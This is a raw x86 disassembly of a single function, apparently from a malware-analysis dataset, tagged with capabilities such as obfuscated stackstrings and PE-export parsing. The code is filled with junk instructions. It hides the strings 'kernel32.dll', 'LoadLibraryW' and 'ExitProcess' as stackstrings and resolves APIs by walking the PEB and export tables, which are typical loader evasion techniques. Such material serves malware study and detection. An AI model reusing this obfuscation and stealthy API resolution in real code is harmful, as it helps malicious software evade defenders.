Function at 0x4885f0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ebx
push esi
add esp, 4
add ebx, 0x16463
xor ebx, 0xe5e6
xor ebx, 0x4112
pop ebx
push ecx
xor ecx, 0x178a6
or ecx, 0x17609
sub ecx, 0x8e1d
or ecx, 0xebfb
pop ecx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x486475
push ebx
push ebx
add esp, 4
and ebx, 0x9f39
pop ebx
push edx
and edx, 0x1619b
add edx, 0xa4d9
add edx, 0xe5c4
add edx, 0x15d4a
pop edx
push ecx
push edi
add esp, 4
or ecx, 0x100a1
pop ecx
jmp 0x4866a3
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push edx
xor edx, 0x6d5f
add edx, 0x104e6
and edx, 0x5999
pop edx
push edx
xor edx, 0x58d0
sub edx, 0xa6e4
call 0x4864b9
add byte [ecx], bh
inc esp
dec eax
xor eax, 0x83383748
les eax, [edx + ebx*2]
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x486524
push esi
push eax
add esp, 4
jmp 0x4864ef
and esi, 0x16c15
pop esi
push edi
xor edi, 0x12811
jmp 0x486506
sub edi, 0x164bf
xor edi, 0x5959
pop edi
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x486655
cmp dword [ebp - 0xc08], 0
jle 0x486649
push eax
push ebx
add esp, 4
sub eax, 0x1398
or eax, 0x68cf
sub eax, 0xffb2
pop eax
push edi
and edi, 0xffa4
sub edi, 0x1392a
xor edi, 0x4b6e
xor edi, 0x10a5d
pop edi
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4865e5
push ecx
push esi
add esp, 4
xor ecx, 0xe8f0
pop ecx
push edx
xor edx, 0x2133
and edx, 0xd44e
jmp 0x486598
add edx, 0x6e49
pop edx
push ecx
push edx
add esp, 4
add ecx, 0x125dd
pop ecx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4865cd
mov dword [ebp - 0x14c0], 1
jmp 0x4865d7
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x486649
push edx
push ecx
add esp, 4
xor edx, 0xf141
pop edx
push edx
and edx, 0xfe5b
call 0x486607
add byte [ebx + 0x34], al
xor eax, dword [edi + 0x4a]
cmp dword [ebx], esi
dec eax
cmp eax, dword [ebx - 0x357efb3c]
adc eax, ebx
add byte [eax], al
xor edx, 0x457a
pop edx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x486524
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x48669e
push eax
call 0x48666e
add byte [esi + 0x32], al
inc edi
xor al, 0x33
inc edx
inc ecx
inc eax
add esp, 4
xor eax, 0xf892
call 0x486686
add byte [ecx + 0x3d], al
cmp ecx, dword [edi + 0x48]
cmp byte [0xc4833c43], bh
add al, 0x81
rcr byte [edx + eax*2 - 0x74a80000], 0x85
xor al, 0xfb
invalid
jmp 0x4863ec
push edx
xor edx, 0x7ab6
pop edx
push edx
push edx
add esp, 4
and edx, 0x1832d
jmp 0x4866be
add edx, 0x971f
call 0x4866d1
add byte [eax], bh
cmp eax, 0x483b3943
xor eax, 0x5a04c483
mov dword [ebp - 0x3cc], 0
push edx
or edx, 0x18639
call 0x4866f6
add byte [ebx], dh
dec edx
dec ebx
push eax
aas
cmp edi, dword [edi]
inc ebp
add esp, 4
call 0x486707
add byte [ebx], bh
xor esi, dword [esi]
inc ebx
cmp dh, byte [eax + edx*2]
dec ebp
add esp, 4
and edx, 0x6af3
pop edx
push ebx
push ebx
add esp, 4
call 0x486724
add byte [ebx + 0x47], al
inc edi
cmp byte [ecx + 0x3e], al
inc ebx
inc ebp
add esp, 4
call 0x486734
add byte [edi], bh
inc esp
inc ebp
dec ecx
dec edx
xor edi, dword [edx]
add esp, 4
xor ebx, 0x35bd
jmp 0x486742
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push esi
sub esi, 0x9be2
pop esi
push esi
push edx
add esp, 4
call 0x486773
add byte [ebx + ecx*2], bh
cmp eax, dword [edx + 0x4d]
xor eax, 0xc483393d
add al, 0x81
idiv ah
or al, byte [ecx]
add byte [ecx + 0x1786ee], al
add bl, ch
add eax, 0x4c484c3d
inc ebx
pop esi
mov dword [ebp - 0x1fac], 0xffffffff
push eax
push ebx
add esp, 4
sub eax, 0x11473
and eax, 0xf446
xor eax, 0x12584
and eax, 0x2d4c
pop eax
push eax
or eax, 0x1348e
sub eax, 0x7998
or eax, 0x2b1e
pop eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x4867e3
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push eax
xor eax, 0x2662
xor eax, 0x8f5d
sub eax, 0x15095
xor eax, 0x14076
pop eax
push edx
push edx
add esp, 4
or edx, 0x4e51
pop edx
push esi
push ecx
add esp, 4
add esi, 0x3133
pop esi
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x48685d
push ecx
push edx
add esp, 4
and ecx, 0x11f86
or ecx, 0xf533
pop ecx
push esi
jmp 0x486841
pop esi
push edx
and edx, 0x2100
jmp 0x486851
and edx, 0x8137
pop edx
jmp 0x486a8b
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
add edx, 0xb1a1
and edx, 0x1209f
xor edx, 0xdf7b
and edx, 0xae64
pop edx
push ebx
push ebx
add esp, 4
xor ebx, 0x9a90
add ebx, 0x116e
or ebx, 0x160b4
pop ebx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x48690c
push eax
push edx
add esp, 4
or eax, 0x67f1
pop eax
push ecx
or ecx, 0x15093
pop ecx
push edi
push edi
add esp, 4
xor edi, 0x13b43
add edi, 0x12ef3
add edi, 0xb3a6
xor edi, 0x6e1d
pop edi
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x486a3d
cmp dword [ebp - 0xc10], 0
jle 0x486a31
push edx
call 0x48692a
add byte [edi + 0x3c], al
inc eax
dec edi
aas
inc ebp
inc ebp
dec edx
inc ecx
dec ebx
add esp, 4
pop edx
push edx
push eax
add esp, 4
add edx, 0x3124
call 0x486947
add byte [ebx + 0x38], cl
inc edx
dec edx
inc edx
inc ebp
cmp dword [eax], edi
add esp, 4
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4869cd
push eax
push ebx
add esp, 4
sub eax, 0xa0d9
xor eax, 0x15f49
pop eax
push ecx
and ecx, 0xa5c4
pop ecx
push edi
push ecx
add esp, 4
and edi, 0x14fd7
pop edi
push eax
push ebx
add esp, 4
and eax, 0x150c
pop eax
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4869b5
mov dword [ebp - 0x14cc], 1
jmp 0x4869bf
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x486a31
push edx
add edx, 0x169a7
jmp 0x4869db
jmp 0x4869e3
or edx, 0x11880
pop edx
push ebx
push edi
add esp, 4
call 0x4869fb
add byte [edx], bh
xor eax, 0x3c3e4147
add esp, 4
pop ebx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x48690c
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x486a86
push eax
push esi
add esp, 4
add eax, 0x148ac
and eax, 0xc4cf
xor eax, 0x14fb7
pop eax
push edi
or edi, 0x412c
pop edi
push esi
push esi
add esp, 4
xor esi, 0x7159
and esi, 0x958e
pop esi
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x486ac7
jmp 0x4867d4
push edi
push ebx
add esp, 4
xor edi, 0x139e
pop edi
push esi
push esi
add esp, 4
add esi, 0x1375b
pop esi
push esi
and esi, 0x102c0
pop esi
push edx
push ebx
add esp, 4
jmp 0x486ab6
and edx, 0x3c38
pop edx
mov dword [ebp - 0xa5c], 0
push ecx
push esi
add esp, 4
or ecx, 0x1367e
jmp 0x486ada
call 0x486ae9
add byte [esi + ecx*2 + 0x33], cl
cmp cl, byte [ebp + 0x42]
inc edi
cmp eax, 0x4c4834d
pop ecx
push eax
push edx
add esp, 4
add eax, 0x3108
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edi
push ebx
add esp, 4
sub edi, 0xbfba
pop edi
push eax
sub eax, 0x118bf
pop eax
push edi
push ecx
add esp, 4
and edi, 0x1f7d
xor edi, 0x28b
pop edi
push edi
push esi
add esp, 4
and edi, 0x13fe6
pop edi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ecx
push ecx
add esp, 4
call 0x486c29
add byte [edx + 0x33], cl
inc ecx
cmp bh, byte [ebx]
aaa
add esp, 4
add ecx, 0xe290
call 0x486c40
add byte [ebx + 0x47], cl
aas
inc edx
dec ebx
xor eax, 0xc4833546
add al, 0x81
rcr dword [eax], 0x99
add byte [eax], al
pop ecx
push ecx
push ecx
add esp, 4
add ecx, 0x1554d
sub ecx, 0x7066
and ecx, 0x14825
pop ecx
push ecx
or ecx, 0x1568e
xor ecx, 0x240a
or ecx, 0x154e3
and ecx, 0x12f49
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edx
call 0x486cb4
add byte [ebx], dh
cmp byte [edi + 0x32], cl
inc eax
aas
xor ecx, dword [edi + 0x4d]
add esp, 4
call 0x486cc6
add byte [ecx], bh
inc edi
xor al, 0x4c
inc ebp
inc edi
inc esi
cmp dword [esi - 0x7d], eax
les eax, [edx + ebx*2]
push ebx
push edx
add esp, 4
xor ebx, 0x16599
pop ebx
cmp dword [ebp - 0x14d4], 0
jne 0x486cee
mov dword [ebp - 0x2e0], 0
jmp 0x486faa
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ecx
call 0x486d0e
add byte [edx], bh
inc eax
cmp eax, 0x4d454537
add esp, 4
pop ecx
push edx
add edx, 0x42d3
call 0x486d28
add byte [edi + 0x45], al
push eax
aaa
aaa
inc esp
inc ecx
dec ebx
add esp, 4
sub edx, 0xe420
pop edx
cmp dword [ebp - 0xc20], 0
jne 0x486d4a
mov dword [ebp - 0x2e0], 0
jmp 0x486faa
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ecx
xor ecx, 0x10740
jmp 0x486d65
pop ecx
push eax
push esi
add esp, 4
xor eax, 0xab8d
jmp 0x486d79
and eax, 0x131c4
pop eax
push edx
and edx, 0xce83
pop edx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push esi
push ebx
add esp, 4
xor esi, 0xf57
add esi, 0x2355
pop esi
push esi
push ebx
add esp, 4
add esi, 0x1079d
pop esi
push esi
sub esi, 0x10578
add esi, 0xe179
xor esi, 0xe16b
pop esi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push edi
push eax
add esp, 4
add edi, 0x789b
pop edi
push eax
add eax, 0xb8f6
add eax, 0x2c82
pop eax
push ecx
and ecx, 0x470e
or ecx, 0xcd33
pop ecx
push edx
jmp 0x486e72
pop edx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x486e96
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x486ef9
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x486db5
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x486db5
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x486ee3
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x486eed
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x486f42
push edx
jmp 0x486f09
xor edx, 0xd24e
and edx, 0xafc9
and edx, 0x71ee
pop edx
push ebx
push edx
add esp, 4
or ebx, 0x6ade
xor ebx, 0x2c9b
jmp 0x486f33
pop ebx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x486faa
push ecx
push eax
add esp, 4
jmp 0x486f4e
and ecx, 0x9fdf
jmp 0x486f59
and ecx, 0xf0fe
pop ecx
push ebx
sub ebx, 0x9ea1
and ebx, 0x8b1e
xor ebx, 0x18403
pop ebx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x486fa0
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x486d56
mov dword [ebp - 0x2e0], 0
push esi
push esi
add esp, 4
jmp 0x486fb5
and esi, 0x33ae
sub esi, 0x45a9
pop esi
push edi
add edi, 0x16514
add edi, 0x155dc
sub edi, 0xaeb6
add edi, 0x39ec
pop edi
cmp dword [ebp - 0x2e0], 0
jne 0x4878f5
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
push edi
add esp, 4
or ebx, 0x126ae
pop ebx
push eax
or eax, 0x15a9b
sub eax, 0x5aa1
add eax, 0xd1b7
add eax, 0x1135a
pop eax
push edx
push edi
add esp, 4
or edx, 0x142c7
pop edx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
jmp 0x48713f
pop esi
push ecx
add ecx, 0xf2b7
pop ecx
push ecx
push eax
add esp, 4
add ecx, 0x100c0
pop ecx
push edx
sub edx, 0x5813
and edx, 0x8911
jmp 0x487167
pop edx
cmp dword [ebp - 0x14dc], 0
jne 0x487180
mov dword [ebp - 0x6ec], 0
jmp 0x48743c
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
push ecx
add esp, 4
sub eax, 0x235c
add eax, 0x12aac
jmp 0x4871ab
pop eax
push esi
call 0x4871ba
add byte [edx + 0x4c], al
cmp eax, dword [esi + 0x47]
cmp al, byte [edx - 0x7d]
les eax, [ecx + eax*4]
neg byte [esi]
mov es, word [eax]
add byte [esi - 0x7d], bl
mov ebp, 0xfffff3d4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x6ec], 0
jmp 0x48743c
push edx
xor edx, 0x8464
add edx, 0xe100
xor edx, 0xc7dd
sub edx, 0x6748
pop edx
push eax
push ecx
add esp, 4
jmp 0x487462
add eax, 0x17371
jmp 0x48746d
pop eax
cmp dword [ebp - 0x6ec], 0
jne 0x4874b8
push edx
push eax
add esp, 4
add edx, 0x2004
and edx, 0x1368e
or edx, 0x68ef
sub edx, 0x665b
pop edx
push eax
or eax, 0x115ba
xor eax, 0xc30f
and eax, 0x3aa7
pop eax
mov dword [ebp - 0x738], 0
jmp 0x487fdf
push edx
jmp 0x4874c0
sub edx, 0x1319c
call 0x4874d5
add byte [ebx + 0x42], al
aaa
dec edi
cmp eax, 0x8344444b
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [ecx], bh
dec esi
dec esi
xor al, 0x36
xor al, 0x40
dec ebp
add esp, 4
pop edx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x487529
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x48781a
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x487551
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x48781a
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x487583
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x48781a
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x4875a8
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x48781a
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x487602
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x48780e
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x487672
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x487724
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x487724
push eax
sub eax, 0x13bb0
pop eax
push ebx
push ecx
add esp, 4
jmp 0x4876b4
pop ebx
push ecx
add ecx, 0x11d25
or ecx, 0x786a
pop ecx
push ecx
or ecx, 0x1679b
add ecx, 0xf6f5
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x487716
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x48771d
jmp 0x487663
jmp 0x487724
push eax
call 0x487734
add byte [eax + 0x40], cl
inc ecx
dec eax
push eax
dec edx
dec eax
dec esp
dec eax
add esp, 4
jmp 0x48773e
or eax, 0xca5
call 0x487752
add byte [eax + 0x39], al
cmp esi, dword [edi]
cmp esi, dword [ebx]
dec esi
add esp, 4
pop eax
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x487783
mov dword [ebp - 0xc30], 0
jmp 0x4877f2
push edx
and edx, 0xb746
or edx, 0x4344
pop edx
push ecx
add ecx, 0x34ae
call 0x4877a5
add byte [edi + 0x46], al
dec eax
dec edx
dec esp
inc edi
dec edi
add esp, 4
pop ecx
push edi
push esi
add esp, 4
and edi, 0x181ac
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x4877e8
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x4877f2
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x487809
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x48781a
jmp 0x4875f3
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x4878f5
push ecx
push ecx
add esp, 4
add ecx, 0x2eed
sub ecx, 0x14a3a
xor ecx, 0x11fb8
pop ecx
push ecx
sub ecx, 0x6056
and ecx, 0x9e3a
add ecx, 0x14736
add ecx, 0x9c2f
pop ecx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push eax
push edi
add esp, 4
sub eax, 0x14b3a
or eax, 0x1f4b
pop eax
push esi
push esi
add esp, 4
or esi, 0xee7f
pop esi
push edi
sub edi, 0x1193e
pop edi
push eax
push eax
add esp, 4
or eax, 0x5c4d
pop eax
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x4878f5
push edx
xor edx, 0x167b5
xor edx, 0xe7da
call 0x4878d0
add byte [ecx + ecx*2], dh
cmp cl, byte [ebp + 0x38]
dec ebp
cmp esi, dword [edi]
dec ecx
add esp, 4
xor edx, 0x9240
pop edx
push edi
push edx
add esp, 4
sub edi, 0x2919
pop edi
mov dword [ebp - 0x738], 0
jmp 0x487fdf
push esi
push ecx
add esp, 4
and esi, 0x127e0
xor esi, 0xf57c
pop esi
push eax
xor eax, 0xb47
call 0x48791d
add byte [ebp + esi + 0x4b], cl
xor edx, dword [eax + 0x4d]
cmp al, 0x4c
inc edi
add esp, 4
and eax, 0xeb97
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push esi
push eax
add esp, 4
xor esi, 0x45fe
add esi, 0x141f1
or esi, 0x10376
pop esi
push eax
and eax, 0x9522
or eax, 0x11a5b
sub eax, 0xa6ef
or eax, 0xba71
pop eax
cmp dword [ebp - 0x14f4], 0
jne 0x487998
mov dword [ebp - 0x2e0], 0
jmp 0x487c3f
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push esi
push ecx
add esp, 4
call 0x4879bf
add byte [esi], bh
inc edx
aaa
push eax
dec eax
inc ebp
xor edi, dword [esp + esi]
push eax
add esp, 4
pop esi
push ecx
push edx
add esp, 4
jmp 0x4879cf
add ecx, 0xaf2c
sub ecx, 0x7b9a
pop ecx
cmp dword [ebp - 0xc3c], 0
jne 0x4879f4
mov dword [ebp - 0x2e0], 0
jmp 0x487c3f
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push eax
xor eax, 0x3312
and eax, 0x10e37
xor eax, 0x55b1
jmp 0x487a19
pop eax
push ecx
push esi
add esp, 4
and ecx, 0xedf0
sub ecx, 0x3f0
or ecx, 0x88cc
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ecx
push ecx
add esp, 4
sub ecx, 0x3088
pop ecx
push eax
push esi
add esp, 4
call 0x487a7a
add byte [esi + 0x4f], cl
push eax
inc edi
dec ebp
inc eax
add esp, 4
call 0x487a8a
add byte [ecx + 0x40], al
cmp dh, byte [ebx]
cmp byte [ebx], dh
dec edx
add esp, 4
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edx
push edi
add esp, 4
and edx, 0xe7a6
pop edx
push edi
push edx
add esp, 4
sub edi, 0x57f
xor edi, 0x3a8f
or edi, 0x73e1
add edi, 0xd1eb
pop edi
push edi
add edi, 0x79af
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x487b34
movzx ecx, word [ebp - 0x200]
